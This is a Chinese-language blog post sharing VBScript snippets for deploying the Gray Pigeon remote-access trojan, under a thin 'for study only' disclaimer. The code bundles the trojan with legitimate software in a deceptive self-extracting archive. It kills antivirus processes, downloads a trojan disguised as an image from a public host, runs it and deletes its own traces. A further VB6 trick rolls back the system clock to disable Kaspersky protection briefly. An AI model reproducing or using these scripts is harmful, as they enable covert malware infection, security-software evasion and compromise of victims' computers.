VBS腳本代碼--HK版

灰鴿子生成的***體積較大,很不實用。如果藉助VBS腳本,配合使用效果會好很多。

一些曾經用過的VBS腳本代碼(僅供學習、參考):

(1)rar捆綁用的VBS腳本。用於把***和正常軟件捆綁在一起,成自解壓文件。很具有欺騙性。

on error resume next
dim shell
set shell=CreateObject("Wscript.Shell")
shell.run "cmd /c start %SystemRoot%\千千靜聽.exe",0
shell.run ("cmd /c cd\ &&set date=%date% &&date 2000-11-18 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&ping 127.0.0.1 &&start %SystemRoot%\***.exe &&date %date% "),0

(2)下載者vbs腳本(本例,是圖片和***合併,再上傳到任意知名的空間,的下載者。特點:速度快,不用找專門的上傳空間)。

on error resume next
Set XXXXzlzl=CreateObject("Wscript.Shell")

Set sssxXXclean=CreateObject("ADODB.Stream")
Set ZZZzzzXXX = CreateObject("Msxml2.XMLHTTP")
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if ps.Name="rfwsrv.exe" or ps.name="1.exe" or ps.name="2.exe" or ps.name="3.exe" or ps.name="360tray.exe"then
XXXXzlzl.run "ntsd -p "+cstr(+ps.handle) +" -c q",0
end if
next
ZZZzzzXXX.Open "GET","http://hiphotos.baidu.com這裏是你捆綁了***的圖片地址.jpg",0
ZZZzzzXXX.Send()
sssxXXclean.Mode=3
sssxXXclean.Type=1
sssxXXclean.Open()
sssxXXclean.Write(ZZZzzzXXX.responseBody)
sssxXXclean.SaveToFile "c:\***.rar "
XXXXzlzl.run ("cmd /c C:\Progra~1\WinRAR\RAR.exe x c:***.rar c:\ &&del c:\***.rar "),ture,vbhide
XXXXzlzl.run ("cmd /c set date=%date% &&date 2000-11-18 &&ping -n 15 127.0.0.1 &&start c:\***.exe &&date %date% "),0
Set wWwwxXXx = CreateObject("Scripting.FileSystemObject")
wWwwxXXx.DeleteFile(WScript.ScriptName)

(3)    直接下載***.exe的腳本。並不免殺。^_^

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://www.××××/***.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\zl.exe",2
wscript.sleep 1000
Shell.Run ("c:\***.exe") '延遲過後執行***

--------------------------------

Private Sub Form_Load()
Date = Date - 5000
End Sub
Private Sub Timer1_Timer()
Date = Date + 5000
End
End Sub
很簡單的幾句話,timer設置15秒即可!

運行程序後日期由正確的日期減去5000天,然後經過15秒後又加上5000天!恢復了原來的時間!

卡巴在這個15秒內停止保護!!


 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章